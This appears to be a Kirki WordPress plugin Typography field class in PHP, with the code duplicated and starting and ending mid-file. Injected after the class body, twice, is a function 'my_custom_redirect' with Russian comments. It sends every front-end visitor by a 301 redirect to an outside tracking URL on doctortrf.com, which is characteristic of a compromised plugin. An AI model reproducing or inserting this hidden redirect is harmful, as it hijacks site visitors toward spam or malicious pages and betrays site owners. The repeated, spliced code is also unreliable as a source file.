$std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 